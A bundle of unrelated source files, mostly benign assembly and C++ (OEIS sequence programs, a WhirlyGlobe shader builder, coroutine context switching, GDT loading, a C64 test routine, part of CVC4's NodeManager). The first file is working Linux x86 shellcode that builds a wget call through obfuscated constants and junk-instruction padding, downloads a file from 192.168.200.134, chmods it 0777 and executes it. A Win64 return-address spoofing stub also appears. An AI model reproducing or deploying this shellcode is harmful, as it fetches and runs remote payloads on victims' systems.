shl eax,5
shr eax,6
mov al,0x2
int 0x80
xor ebx,ebx
cmp eax,ebx
jz child
;wait(NULL)
xor eax,eax
cmp esi,edi
mov al,0x7
int 0x80
;chmod x
xor ecx,ecx
cld
xor eax, eax
push eax
mov al, 0xf
push 0x78
mov ebx, esp
std
xor ecx, ecx
cmp esi,edi
mov cx, 0x1ff
int 0x80
;exec x
xor eax, eax
push eax
push 0x78
mov ebx, esp
push eax
mov edx, esp
push ebx
mov ecx, esp
mov al, 11
int 0x80
child:
;download 192.168.200.134/x with wget
push 0xb
pop eax
cdq
push edx
push 0x78 ;x avoid null byte
push 0x2f343331 ;/431
cdq
push 0x2e303032 ;.002
std
push 0x2e383631 ;.861
cmp esi,edi
push 0x2e323931 ;.291
cdq
mov ecx,esp
push edx
push 0x74 ;t
mov esi, 0x101221DA
add esi, 0x55555555
mov dword [esp-4],esi
mov esi, 0x2A251DEB
add esi, 0x44444444
mov dword [esp-8],esi
mov esi, 0x3F4041FC
add esi, 0x33333333
mov dword [esp-12],esi
sub esp,12
mov ebx,esp
push edx
push ecx
push ebx
mov ecx,esp
int 0x80
|
; A312927: Coordination sequence Gal.6.149.5 where G.u.t.v denotes the coordination sequence for a vertex of type v in tiling number t in the Galebach list of u-uniform tilings.
; 1,4,9,13,18,22,26,30,35,39,44,48,52,57,61,66,70,74,78,83,87,92,96,100,105,109,114,118,122,126,131,135,140,144,148,153,157,162,166,170,174,179,183,188,192,196,201,205,210,214
mov $9,$0
mov $11,2
lpb $11
clr $0,9
mov $0,$9
sub $11,1
add $0,$11
sub $0,1
mul $0,6
add $3,$0
add $3,2
mov $0,$3
add $6,1
add $4,$6
add $5,$3
add $7,$6
lpb $0
mov $0,0
add $0,$7
sub $0,$5
sub $0,1
mov $3,$4
mov $4,$0
mov $0,1
mov $8,$3
mul $8,$5
add $8,2
sub $8,$4
pow $8,2
div $8,66
add $8,1
lpe
mov $1,$8
mov $12,$11
lpb $12
mov $10,$1
sub $12,1
lpe
lpe
lpb $9
mov $9,0
sub $10,$1
lpe
mov $1,$10
|
/*
* BillboardDrawableInstanceBuilderGLES.cpp
* WhirlyGlobeLib
*
* Created by Steve Gifford on 5/15/19.
* Copyright 2011-2019 mousebird consulting
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
*/
#import "BillboardDrawableBuilderGLES.h"
namespace WhirlyKit
{
BillboardDrawableBuilderGLES::BillboardDrawableBuilderGLES(const std::string &name)
: BasicDrawableBuilderGLES(name,true)
{
}
int BillboardDrawableBuilderGLES::addAttribute(BDAttributeDataType dataType,StringIdentity nameID,int numThings)
{
return BasicDrawableBuilderGLES::addAttribute(dataType, nameID, numThings);
}
BasicDrawable *BillboardDrawableBuilderGLES::getDrawable()
{
return BasicDrawableBuilderGLES::getDrawable();
}
static const char *vertexShaderGroundTri = R"(
precision highp float;
uniform mat4 u_mvpMatrix;
uniform float u_fade;
uniform vec3 u_eyeVec;
attribute vec3 a_position;
attribute vec2 a_texCoord0;
attribute vec4 a_color;
attribute vec3 a_normal;
attribute vec3 a_offset;
varying vec2 v_texCoord;
varying vec4 v_color;
void main()
{
v_texCoord = a_texCoord0;
v_color = a_color;
vec3 axisX = cross(u_eyeVec,a_normal);
vec3 axisZ = cross(axisX,a_normal);
vec3 newPos = a_position + axisX * a_offset.x + a_normal * a_offset.y + axisZ * a_offset.z;
gl_Position = u_mvpMatrix * vec4(newPos,1.0);
}
)";
static const char *vertexShaderEyeTri = R"(
precision highp float;
uniform mat4 u_mvMatrix;
uniform mat4 u_pMatrix;
uniform float u_fade;
uniform vec3 u_eyeVec;
attribute vec3 a_position;
attribute vec2 a_texCoord0;
attribute vec4 a_color;
attribute vec3 a_normal;
attribute vec3 a_offset;
varying vec2 v_texCoord;
varying vec4 v_color;
void main()
{
v_texCoord = a_texCoord0;
v_color = a_color;
vec4 pos = u_mvMatrix * vec4(a_position,1.0);
vec3 pos3 = (pos/pos.w).xyz;
vec3 newPos = vec3(pos3.x + a_offset.x,pos3.y+a_offset.y,pos3.z+a_offset.z);
gl_Position = u_pMatrix * vec4(newPos,1.0);
//
// vec3 axisX = cross(u_eyeVec,normal);
// vec3 axisZ = cross(axisX,normal);
// vec3 newPos = a_position + axisX * a_offset.x + a_normal * a_offset.y + axisZ * a_offset.z;
//
// gl_Position = u_mvpMatrix * vec4(newPos,1.0);
}
)";
static const char *fragmentShaderTri = R"(
precision highp float;
uniform sampler2D s_baseMap0;
uniform bool u_hasTexture;
varying vec2 v_texCoord;
varying vec4 v_color;
void main()
{
// vec4 baseColor = texture2D(s_baseMap0, v_texCoord);
vec4 baseColor = u_hasTexture ? texture2D(s_baseMap0, v_texCoord) : vec4(1.0,1.0,1.0,1.0);
if (baseColor.a < 0.1)
discard;
gl_FragColor = v_color * baseColor;
}
)";
ProgramGLES *BuildBillboardGroundProgramGLES(const std::string &name,SceneRenderer *render)
{
ProgramGLES *shader = new ProgramGLES(name,vertexShaderGroundTri,fragmentShaderTri);
if (!shader->isValid())
{
delete shader;
shader = NULL;
}
// Set some reasonable defaults
if (shader)
{
glUseProgram(shader->getProgram());
CheckGLError("BuildBillboardGroundProgram() glUseProgram");
shader->setUniform(u_EyeVecNameID, Point3f(0,0,1));
}
return shader;
}
ProgramGLES *BuildBillboardEyeProgramGLES(const std::string &name,SceneRenderer *render)
{
ProgramGLES *shader = new ProgramGLES(name,vertexShaderEyeTri,fragmentShaderTri);
if (!shader->isValid())
{
delete shader;
shader = NULL;
}
// Set some reasonable defaults
if (shader)
{
glUseProgram(shader->getProgram());
shader->setUniform(u_EyeVecNameID, Point3f(0,0,1));
}
return shader;
}
}
|
section .text
global cro_asm_init, cro_asm_switch
cro_asm_start:
; Pre: rbx = fiber_fn:cro::FiberFn*, rdi = root_fn:cro_RootFn*, rsi = arg:void*
; Patch callstack
mov rbp, rax
; Move arguments into Win64 convention
mov rcx, rbx
mov rdx, rsi
; Allocate shadow space
sub rsp, 32
; Call into coroutine
call rdi
; Restore outer
mov rdx, rax
xor r8d, r8d
jmp cro_asm_restore
; Post: rdx = to:cro::FiberContext*, r8d = should_unwind:cro::SuspendResult(SR_CONTINUE)
cro_asm_init:
; Pre: rcx = ctx:cro::FiberContext*, rdx = stack:void*, r8 = stack_size:size_t, r9 = root_fn:cro_RootFn*, [rsp+40] = coroutine_fn:cro::Coroutine*, [rsp+48] = arg:void*
; Create base pointer
add rdx, r8
sub rdx, 24
; Write null for base pointer and return address to fiber stack
mov qword [rdx + 8], 0
mov qword [rdx + 16], 0
; Write return address to fiber stack
lea rax, [rel cro_asm_start]
mov qword [rdx], rax
; Write base pointer (rbp) to fiber stack
lea rax, [rdx + 8]
mov qword [rdx - 8], rax
; Write fiber_fn (rbx) to fiber stack
mov rax, qword [rsp + 40]
mov qword [rdx - 16], rax
; Write root_fn (rdi) to fiber stack
mov qword [rdx - 24], r9
; Write arg (rsi) to fiber stack
mov rax, qword [rsp + 48]
mov qword [rdx - 32], rax
; Compute stack pointer (account for r12 - r15, xmm6 - xmm15) and write to ctx
sub rdx, 224
mov qword [rcx], rdx
ret
; Post:
cro_asm_switch:
; Pre: rcx = from:cro::FiberContext*, rdx = to:cro::FiberContext*, r8d = should_unwind:cro::SuspendResult
; Back up non-volatile GP registers
push rbp
mov rax, rsp
push rbx
push rdi
push rsi
push r12
push r13
push r14
push r15
; Back up xmm registers
sub rsp, 160
movdqu oword [rsp + 144], xmm6
movdqu oword [rsp + 128], xmm7
movdqu oword [rsp + 112], xmm8
movdqu oword [rsp + 96], xmm9
movdqu oword [rsp + 80], xmm10
movdqu oword [rsp + 64], xmm11
movdqu oword [rsp + 48], xmm12
movdqu oword [rsp + 32], xmm13
movdqu oword [rsp + 16], xmm14
movdqu oword [rsp], xmm15
; Save stack pointer
mov qword [rcx], rsp
; Post: rdx = to:cro::FiberContext*, r8d = should_unwind:cro::SuspendResult
cro_asm_restore:
; Pre: rdx = to:cro::FiberContext*, r8d = should_unwind:cro::SuspendResult
; Restore stack pointer from 'to'
mov rsp, qword [rdx]
; Null out the stack pointer to ensure they don't end up re-resuming this fiber accidentally
mov qword [rdx], 0
; Restore xmm registers
movdqu xmm15, oword [rsp]
movdqu xmm14, oword [rsp + 16]
movdqu xmm13, oword [rsp + 32]
movdqu xmm12, oword [rsp + 48]
movdqu xmm11, oword [rsp + 64]
movdqu xmm10, oword [rsp + 80]
movdqu xmm9, oword [rsp + 96]
movdqu xmm8, oword [rsp + 112]
movdqu xmm7, oword [rsp + 128]
movdqu xmm6, oword [rsp + 144]
add rsp, 160
; Restore non-volatile GP registers
pop r15
pop r14
pop r13
pop r12
pop rsi
pop rdi
pop rbx
pop rbp
; Jump back into fiber code
mov eax, r8d
ret
; Post: eax = should_unwind:cro::SuspendResult
|
[GLOBAL load_gdt] ;call load_gdt in c code
load_gdt:
mov eax,[esp+4] ;get the pointer to the gdt
lgdt [eax] ;load new gdt pointer
mov ax,0x10 ;0x10 is address of second descriptor[kernel data segment] (Loading the segment selector registers is easy for the data registers)
;load all data segment selectrors
mov ds,ax
mov es,ax
mov fs,ax
mov gs,ax
mov ss,ax
jmp 0x08:.flush_cs ;0x08 is the address of our kernel code segment : far jump -- It will first set cs to 0x08 and then jump to flush_cs using its absolute address.
.flush_cs: ; to load cs we have to do a “far jump”:
ret
[GLOBAL load_idt] ;call load idt in c code
load_idt:
mov eax,[esp+4] ; load the address of the IDT into register eax
lidt [eax] ; load the IDT
ret ; return to the calling function
|
PUBLIC RetSpoofStub
.code
RetSpoofStub PROC
pop r11
add rsp, 8
mov rax, [rsp + 24]
mov r10, [rax]
mov[rsp], r10
mov r10, [rax + 8]
mov[rax + 8], r11
mov[rax + 16], rdi
lea rdi, fixup
mov[rax], rdi
mov rdi, rax
jmp r10
fixup :
sub rsp, 16
mov rcx, rdi
mov rdi, [rcx + 16]
jmp QWORD PTR[rcx + 8]
RetSpoofStub ENDP
END |
; this file is part of the C64 Emulator Test Suite. public domain, no copyright
; x/y - pointer to register dump
showregs
.block
stx 172
sty 173
ldy #0
lda (172),y
jsr printhb
lda #32
jsr cbmk_bsout
lda #32
jsr cbmk_bsout
iny
lda (172),y
jsr printhb
lda #32
jsr cbmk_bsout
iny
lda (172),y
jsr printhb
lda #32
jsr cbmk_bsout
iny
lda (172),y
jsr printhb
lda #32
jsr cbmk_bsout
iny
lda (172),y
ldx #"n"
asl a
bcc ok7
ldx #"N"
ok7 pha
txa
jsr cbmk_bsout
pla
ldx #"v"
asl a
bcc ok6
ldx #"V"
ok6 pha
txa
jsr cbmk_bsout
pla
ldx #"0"
asl a
bcc ok5
ldx #"1"
ok5 pha
txa
jsr cbmk_bsout
pla
ldx #"b"
asl a
bcc ok4
ldx #"B"
ok4 pha
txa
jsr cbmk_bsout
pla
ldx #"d"
asl a
bcc ok3
ldx #"D"
ok3 pha
txa
jsr cbmk_bsout
pla
ldx #"i"
asl a
bcc ok2
ldx #"I"
ok2 pha
txa
jsr cbmk_bsout
pla
ldx #"z"
asl a
bcc ok1
ldx #"Z"
ok1 pha
txa
jsr cbmk_bsout
pla
ldx #"c"
asl a
bcc ok0
ldx #"C"
ok0 pha
txa
jsr cbmk_bsout
pla
lda #32
jsr cbmk_bsout
iny
lda (172),y
jmp printhb
.bend
|
;------------------------------------------------------------------------------
;
; Copyright (c) 2006, Intel Corporation. All rights reserved.<BR>
; This program and the accompanying materials
; are licensed and made available under the terms and conditions of the BSD License
; which accompanies this distribution. The full text of the license may be found at
; http://opensource.org/licenses/bsd-license.php.
;
; THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN "AS IS" BASIS,
; WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED.
;
; Module Name:
;
; ReadGs.Asm
;
; Abstract:
;
; AsmReadGs function
;
; Notes:
;
;------------------------------------------------------------------------------
.code
;------------------------------------------------------------------------------
; UINT16
; EFIAPI
; AsmReadGs (
; VOID
; );
;------------------------------------------------------------------------------
AsmReadGs PROC
mov eax, gs
ret
AsmReadGs ENDP
END
|
dw 1157
dw 1292
dw 1462
dw 1685
dw 1987
dw 2422
dw 3099
dw 4303
|
//atm.cpp
#include "atm.h"
void ATM::display_balance()const
{
std::cout<<"Balance: "<<account<<"\n";
}
void ATM::make_deposit()
{
int amount;
std::cout<<"\nEnter deposit amount: ";
std::cin>>amount;
account.deposit(amount);
}
void ATM::make_withdraw()
{
int amount;
std::cout<<"\nEnter withdraw amount: ";
std::cin>>amount;
account.withdraw(amount);
} |
; A021571: Decimal expansion of 1/567.
; 0,0,1,7,6,3,6,6,8,4,3,0,3,3,5,0,9,7,0,0,1,7,6,3,6,6,8,4,3,0,3,3,5,0,9,7,0,0,1,7,6,3,6,6,8,4,3,0,3,3,5,0,9,7,0,0,1,7,6,3,6,6,8,4,3,0,3,3,5,0,9,7,0,0,1,7,6,3,6,6,8,4,3,0,3,3,5,0,9,7,0,0,1,7,6,3,6,6,8
add $0,1
mov $1,10
pow $1,$0
mul $1,8
div $1,4536
mod $1,10
mov $0,$1
|
/********************* */
/*! \file node_manager.cpp
** \verbatim
** Top contributors (to current version):
** Morgan Deters, Tim King, Andrew Reynolds
** This file is part of the CVC4 project.
** Copyright (c) 2009-2016 by the authors listed in the file AUTHORS
** in the top-level source directory) and their institutional affiliations.
** All rights reserved. See the file COPYING in the top-level source
** directory for licensing information.\endverbatim
**
** \brief Expression manager implementation.
**
** Expression manager implementation.
**
** Reviewed by Chris Conway, Apr 5 2010 (bug #65).
**/
#include "expr/node_manager.h"
#include <algorithm>
#include <ext/hash_set>
#include <stack>
#include <utility>
#include "base/cvc4_assert.h"
#include "base/listener.h"
#include "base/tls.h"
#include "expr/attribute.h"
#include "expr/node_manager_attributes.h"
#include "expr/node_manager_listeners.h"
#include "expr/type_checker.h"
#include "options/options.h"
#include "options/smt_options.h"
#include "util/statistics_registry.h"
#include "util/resource_manager.h"
using namespace std;
using namespace CVC4::expr;
using __gnu_cxx::hash_set;
namespace CVC4 {
CVC4_THREADLOCAL(NodeManager*) NodeManager::s_current = NULL;
/**
* This class sets it reference argument to true and ensures that it gets set
* to false on destruction. This can be used to make sure a flag gets toggled
* in a function even on exceptional exit (e.g., see reclaimZombies()).
*/
struct ScopedBool {
bool& d_value;
ScopedBool(bool& value) :
d_value(value) {
Debug("gc") << ">> setting ScopedBool\n";
d_value = true;
}
~ScopedBool() {
Debug("gc") << "<< clearing ScopedBool\n";
d_value = false;
}
};
/**
* Similarly, ensure d_nodeUnderDeletion gets set to NULL even on
* exceptional exit from NodeManager::reclaimZombies().
*/
struct NVReclaim {
NodeValue*& d_deletionField;
NVReclaim(NodeValue*& deletionField) :
d_deletionField(deletionField) {
Debug("gc") << ">> setting NVRECLAIM field\n";
}
~NVReclaim() {
Debug("gc") << "<< clearing NVRECLAIM field\n";
d_deletionField = NULL;
}
};
NodeManager::NodeManager(ExprManager* exprManager) :
d_options(new Options()),
d_statisticsRegistry(new StatisticsRegistry()),
d_resourceManager(new ResourceManager()),
d_registrations(new ListenerRegistrationList()),
next_id(0),
d_attrManager(new expr::attr::AttributeManager()),
d_exprManager(exprManager),
d_nodeUnderDeletion(NULL),
d_inReclaimZombies(false),
d_abstractValueCount(0),
d_skolemCounter(0) {
init();
}
NodeManager::NodeManager(ExprManager* exprManager,
const Options& options) :
d_options(new Options()),
d_statisticsRegistry(new StatisticsRegistry()),
d_resourceManager(new ResourceManager()),
d_registrations(new ListenerRegistrationList()),
next_id(0),
d_attrManager(new expr::attr::AttributeManager()),
d_exprManager(exprManager),
d_nodeUnderDeletion(NULL),
d_inReclaimZombies(false),
d_abstractValueCount(0),
d_skolemCounter(0)
{
d_options->copyValues(options);
init();
}
void NodeManager::init() {
poolInsert( &expr::NodeValue::null() );
for(unsigned i = 0; i < unsigned(kind::LAST_KIND); ++i) {
Kind k = Kind(i);
if(hasOperator(k)) {
d_operators[i] = mkConst(Kind(k));
}
}
d_resourceManager->setHardLimit((*d_options)[options::hardLimit]);
if((*d_options)[options::perCallResourceLimit] != 0) {
d_resourceManager->setResourceLimit((*d_options)[options::perCallResourceLimit], false);
}
if((*d_options)[options::cumulativeResourceLimit] != 0) {
d_resourceManager->setResourceLimit((*d_options)[options::cumulativeResourceLimit], true);
}
if((*d_options)[options::perCallMillisecondLimit] != 0) {
d_resourceManager->setTimeLimit((*d_options)[options::perCallMillisecondLimit], false);
}
if((*d_options)[options::cumulativeMillisecondLimit] != 0) {
d_resourceManager->setTimeLimit((*d_options)[options::cumulativeMillisecondLimit], true);
}
if((*d_options)[options::cpuTime]) {
d_resourceManager->useCPUTime(true);
}
// Do not notify() upon registration as these were handled manually above.
d_registrations->add(d_options->registerTlimitListener(
new TlimitListener(d_resourceManager), false));
d_registrations->add(d_options->registerTlimitPerListener(
new TlimitPerListener(d_resourceManager), false));
d_registrations->add(d_options->registerRlimitListener(
new RlimitListener(d_resourceManager), false));
d_registrations->add(d_options->registerRlimitPerListener(
new RlimitPerListener(d_resourceManager), false));
}
NodeManager::~NodeManager() {
// have to ensure "this" is the current NodeManager during
// destruction of operators, because they get GCed.
NodeManagerScope nms(this);
{
ScopedBool dontGC(d_inReclaimZombies);
// hopefully by this point all SmtEngines have been deleted
// already, along with all their attributes
d_attrManager->deleteAllAttributes();
}
for(unsigned i = 0; i < unsigned(kind::LAST_KIND); ++i) {
d_operators[i] = Node::null();
}
//d_tupleAndRecordTypes.clear();
d_tt_cache.d_children.clear();
d_rt_cache.d_children.clear();
Assert(!d_attrManager->inGarbageCollection() );
while(!d_zombies.empty()) {
reclaimZombies();
}
poolRemove( &expr::NodeValue::null() );
if(Debug.isOn("gc:leaks")) {
Debug("gc:leaks") << "still in pool:" << endl;
for(NodeValuePool::const_iterator i = d_nodeValuePool.begin(),
iend = d_nodeValuePool.end();
i != iend;
++i) {
Debug("gc:leaks") << " " << *i
<< " id=" << (*i)->d_id
<< " rc=" << (*i)->d_rc
<< " " << **i << endl;
}
Debug("gc:leaks") << ":end:" << endl;
}
// defensive coding, in case destruction-order issues pop up (they often do)
delete d_statisticsRegistry;
d_statisticsRegistry = NULL;
delete d_registrations;
d_registrations = NULL;
delete d_resourceManager;
d_resourceManager = NULL;
delete d_attrManager;
d_attrManager = NULL;
delete d_options;
d_options = NULL;
}
void NodeManager::reclaimZombies() {
// FIXME multithreading
Assert(!d_attrManager->inGarbageCollection());
Debug("gc") << "reclaiming " << d_zombies.size() << " zombie(s)!\n";
// during reclamation, reclaimZombies() is never supposed to be called
Assert(! d_inReclaimZombies, "NodeManager::reclaimZombies() not re-entrant!");
// whether exit is normal or exceptional, the Reclaim dtor is called
// and ensures that d_inReclaimZombies is set back to false.
ScopedBool r(d_inReclaimZombies);
// We copy the set away and clear the NodeManager's set of zombies.
// This is because reclaimZombie() decrements the RC of the
// NodeValue's children, which may (recursively) reclaim them.
//
// Let's say we're reclaiming zombie NodeValue "A" and its child "B"
// then becomes a zombie (NodeManager::markForDeletion(B) is called).
//
// One way to handle B's zombification would be simply to put it
// into d_zombies. This is what we do. However, if we were to
// concurrently process d_zombies in the loop below, such addition
// may be invisible to us (B is leaked) or even invalidate our
// iterator, causing a crash. So we need to copy the set away.
vector<NodeValue*> zombies;
zombies.reserve(d_zombies.size());
remove_copy_if(d_zombies.begin(),
d_zombies.end(),
back_inserter(zombies),
NodeValueReferenceCountNonZero());
d_zombies.clear();
#ifdef _LIBCPP_VERSION
NodeValue* last = NULL;
#endif
for(vector<NodeValue*>::iterator i = zombies.begin();
i != zombies.end();
++i) {
NodeValue* nv = *i;
#ifdef _LIBCPP_VERSION
// Work around an apparent bug in libc++'s hash_set<> which can
// (very occasionally) have an element repeated.
if(nv == last) {
continue;
}
last = nv;
#endif
// collect ONLY IF still zero
if(nv->d_rc == 0) {
if(Debug.isOn("gc")) {
Debug("gc") << "deleting node value " << nv
<< " [" << nv->d_id << "]: ";
nv->printAst(Debug("gc"));
Debug("gc") << endl;
}
// remove from the pool
kind::MetaKind mk = nv->getMetaKind();
if(mk != kind::metakind::VARIABLE) {
poolRemove(nv);
}
// whether exit is normal or exceptional, the NVReclaim dtor is
// called and ensures that d_nodeUnderDeletion is set back to
// NULL.
NVReclaim rc(d_nodeUnderDeletion);
d_nodeUnderDeletion = nv;
// remove attributes
{ // notify listeners of deleted node
TNode n;
n.d_nv = nv;
nv->d_rc = 1; // so that TNode doesn't assert-fail
for(vector<NodeManagerListener*>::iterator i = d_listeners.begin(); i != d_listeners.end(); ++i) {
(*i)->nmNotifyDeleteNode(n);
}
// this would mean that one of the listeners stowed away
// a reference to this node!
Assert(nv->d_rc == 1);
}
nv->d_rc = 0;
d_attrManager->deleteAllAttributes(nv);
// decr ref counts of children
nv->decrRefCounts();
if(mk == kind::metakind::CONSTANT) {
// Destroy (call the destructor for) the C++ type representing
// the constant in this NodeValue. This is needed for
// e.g. CVC4::Rational, since it has a gmp internal
// representation that mallocs memory and should be cleaned
// up. (This won't delete a pointer value if used as a
// constant, but then, you should probably use a smart-pointer
// type for a constant payload.)
kind::metakind::deleteNodeValueConstant(nv);
}
free(nv);
}
}
}/* NodeManager::reclaimZombies() */
TypeNode NodeManager::getType(TNode n, bool check)
throw(TypeCheckingExceptionPrivate, AssertionException) {
// Many theories' type checkers call Node::getType() directly. This
// is incorrect, since "this" might not be the caller's curent node
// manager. Rather than force the individual typecheckers not to do
// this (by policy, which would be imperfect and lead to
// hard-to-find bugs, which it has in the past), we just set this
// node manager to be current for the duration of this check.
//
NodeManagerScope nms(this);
TypeNode typeNode;
bool hasType = getAttribute(n, TypeAttr(), typeNode);
bool needsCheck = check && !getAttribute(n, TypeCheckedAttr());
Debug("getType") << "getting type for " << n << endl;
if(needsCheck && !(*d_options)[options::earlyTypeChecking]) {
/* Iterate and compute the children bottom up. This avoids stack
overflows in computeType() when the Node graph is really deep,
which should only affect us when we're type checking lazily. */
stack<TNode> worklist;
worklist.push(n);
while( !worklist.empty() ) {
TNode m = worklist.top();
bool readyToCompute = true;
for( TNode::iterator it = m.begin(), end = m.end();
it != end;
++it ) {
if( !hasAttribute(*it, TypeAttr())
|| (check && !getAttribute(*it, TypeCheckedAttr())) ) {
readyToCompute = false;
worklist.push(*it);
}
}
if( readyToCompute ) {
/* All the children have types, time to compute */
typeNode = TypeChecker::computeType(this, m, check);
worklist.pop();
}
} // end while
/* Last type computed in loop should be the type of n */
Assert( typeNode == getAttribute(n, TypeAttr()) );
} else if( !hasType || needsCheck ) {
/* We can compute the type top-down, without worrying about
deep recursion. */
typeNode = TypeChecker::computeType(this, n, check);
}
/* The type should be have been computed and stored. */
Assert( hasAttribute(n, TypeAttr()) );
/* The check should have happened, if we asked for it. */
Assert( !check || getAttribute(n, TypeCheckedAttr()) );
Debug("getType") << "type of " << n << " is " << typeNode << endl;
return typeNode;
}
Node NodeManager::mkSkolem(const std::string& prefix, const TypeNode& type, const std::string& comment, int flags) {
Node n = NodeBuilder<0>(this, kind::SKOLEM);
setAttribute(n, TypeAttr(), type);
setAttribute(n, TypeCheckedAttr(), true);
if((flags & SKOLEM_EXACT_NAME) == 0) {
stringstream name;
name << prefix << '_' << ++d_skolemCounter;
setAttribute(n, expr::VarNameAttr(), name.str());
} else {
setAttribute(n, expr::VarNameAttr(), prefix);
}
if((flags & SKOLEM_NO_NOTIFY) == 0) {
for(vector<NodeManagerListener*>::iterator i = d_listeners.begin(); i != d_listeners.end(); ++i) {
(*i)->nmNotifyNewSkolem(n, comment, (flags & SKOLEM_IS_GLOBAL) == SKOLEM_IS_GLOBAL);
}
}
return n;
}
TypeNode NodeManager::mkConstructorType(const DatatypeConstructor& constructor,
TypeNode range) {
vector<TypeNode> sorts;
Debug("datatypes") << "ctor name: " << constructor.getName() << endl;
for(DatatypeConstructor::const_iterator i = constructor.begin();
i != constructor.end();
++i) {
TypeNode selectorType = *(*i).getSelector().getType().d_typeNode;
Debug("datatypes") << selectorType << endl;
TypeNode sort = selectorType[1];
// should be guaranteed here already, but just in case
Assert(!sort.isFunctionLike());
Debug("datatypes") << "ctor sort: " << sort << endl;
sorts.push_back(sort);
}
Debug("datatypes") << "ctor range: " << range << endl;
PrettyCheckArgument(!range.isFunctionLike(), range,
"cannot create higher-order function types");
sorts.push_back(range);
return mkTypeNode(kind::CONSTRUCTOR_TYPE, sorts);
}
TypeNode NodeManager::mkPredicateSubtype(Expr lambda)
throw(TypeCheckingExceptionPrivate) {
Node lambdan = Node::fromExpr(lambda);
if(lambda.isNull()) {
throw TypeCheckingExceptionPrivate(lambdan, "cannot make a predicate subtype based on null expression");
}
TypeNode tn = lambdan.getType();
if(! tn.isPredicateLike() ||
tn.getArgTypes().size() != 1) {
stringstream ss;
ss << "expected a predicate of one argument to define predicate subtype, but got type `" << tn << "'";
throw TypeCheckingExceptionPrivate(lambdan, ss.str());
}
return TypeNode(mkTypeConst(Predicate(lambda)));
}
TypeNode NodeManager::mkPredicateSubtype(Expr lambda, Expr witness)
throw(TypeCheckingExceptionPrivate) {
Node lambdan = Node::fromExpr(lambda);
if(lambda.isNull()) {
throw TypeCheckingExceptionPrivate(lambdan, "cannot make a predicate subtype based on null expression");
}
TypeNode tn = lambdan.getType();
if(! tn.isPredicateLike() ||
tn.getArgTypes().size() != 1) {
stringstream ss;
ss << "expected a predicate of one argument to define predicate subtype, but got type `" << tn << "'";
throw TypeCheckingExceptionPrivate(lambdan, ss.str());
}
return TypeNode(mkTypeConst(Predicate(lambda, witness)));
}
TypeNode NodeManager::mkSubrangeType(const SubrangeBounds& bounds)
throw(TypeCheckingExceptionPrivate) {
return TypeNode(mkTypeConst(bounds));
}
TypeNode NodeManager::TupleTypeCache::getTupleType( NodeManager * nm, std::vector< TypeNode >& types, unsigned index ) {
if( index==types.size() ){
if( d_data.isNull() ){
Datatype dt("__cvc4_tuple");
dt.setTuple();
DatatypeConstructor c("__cvc4_tuple_ctor");
for (unsigned i = 0; i < types.size(); ++ i) {
std::stringstream ss;
ss << "__cvc4_tuple_stor_" << i;
c.addArg(ss.str().c_str(), types[i].toType());
}
dt.addConstructor(c);
d_data = TypeNode::fromType(nm->toExprManager()->mkDatatypeType(dt));
Debug("tuprec-debug") << "Return type : " << d_data << std::endl;
}
return d_data;
}else{
return d_children[types[index]].getTupleType( nm, types, index+1 );
}
}
TypeNode NodeManager::RecTypeCache::getRecordType( NodeManager * nm, const Record& rec, unsigned index ) {
if( index==rec.getNumFields() ){
if( d_data.isNull() ){
const Record::FieldVector& fields = rec.getFields();
Datatype dt("__cvc4_record");
dt.setRecord();
DatatypeConstructor c("__cvc4_record_ctor");
for(Record::FieldVector::const_iterator i = fields.begin(); i != fields.end(); ++i) {
c.addArg((*i).first, (*i).second);
}
dt.addConstructor(c);
d_data = TypeNode::fromType(nm->toExprManager()->mkDatatypeType(dt));
Debug("tuprec-debug") << "Return type : " << d_data << std::endl;
}
return d_data;
}else{
return d_children[TypeNode::fromType( rec[index].second )][rec[index].first].getRecordType( nm, rec, index+1 );
}
}
TypeNode NodeManager::mkTupleType(const std::vector<TypeNode>& types) {
std::vector< TypeNode > ts;
Debug("tuprec-debug") << "Make tuple type : ";
for (unsigned i = 0; i < types.size(); ++ i) {
CheckArgument(!types[i].isFunctionLike(), types, "cannot put function-like types in tuples");
ts.push_back( types[i] );
Debug("tuprec-debug") << types[i] << " ";
}
Debug("tuprec-debug") << std::endl;
return d_tt_cache.getTupleType( this, ts );
}
TypeNode NodeManager::mkRecordType(const Record& rec) {
return d_rt_cache.getRecordType( this, rec );
}
void NodeManager::reclaimAllZombies(){
reclaimZombiesUntil(0u);
}
/** Reclaim zombies while there are more than k nodes in the pool (if possible).*/
void NodeManager::reclaimZombiesUntil(uint32_t k){
if(safeToReclaimZombies()){
while(poolSize() >= k && !d_zombies.empty()){
reclaimZombies();
}
}
}
size_t NodeManager::poolSize() const{
return d_nodeValuePool.size();
}
TypeNode NodeManager::mkSort(uint32_t flags) {
NodeBuilder<1> nb(this, kind::SORT_TYPE);
Node sortTag = NodeBuilder<0>(this, kind::SORT_TAG);
nb << sortTag;
TypeNode tn = nb.constructTypeNode();
for(std::vector<NodeManagerListener*>::iterator i = d_listeners.begin(); i != d_listeners.end(); ++i) {
(*i)->nmNotifyNewSort(tn, flags);
}
return tn;
}
TypeNode NodeManager::mkSort(const std::string& name, uint32_t flags) {
NodeBuilder<1> nb(this, kind::SORT_TYPE);
Node sortTag = NodeBuilder<0>(this, kind::SORT_TAG);
nb << sortTag;
TypeNode tn = nb.constructTypeNode();
setAttribute(tn, expr::VarNameAttr(), name);
for(std::vector<NodeManagerListener*>::iterator i = d_listeners.begin(); i != d_listeners.end(); ++i) {
(*i)->nmNotifyNewSort(tn, flags);
}
return tn;
}
TypeNode NodeManager::mkSort(TypeNode constructor,
const std::vector<TypeNode>& children,
uint32_t flags) {
Assert(constructor.getKind() == kind::SORT_TYPE &&
constructor.getNumChildren() == 0,
"expected a sort constructor");
Assert(children.size() > 0, "expected non-zero # of children");
Assert( hasAttribute(constructor.d_nv, expr::SortArityAttr()) &&
hasAttribute(constructor.d_nv, expr::VarNameAttr()),
"expected a sort constructor" );
std::string name = getAttribute(constructor.d_nv, expr::VarNameAttr());
Assert(getAttribute(constructor.d_nv, expr::SortArityAttr()) == children.size(),
"arity mismatch in application of sort constructor");
NodeBuilder<> nb(this, kind::SORT_TYPE);
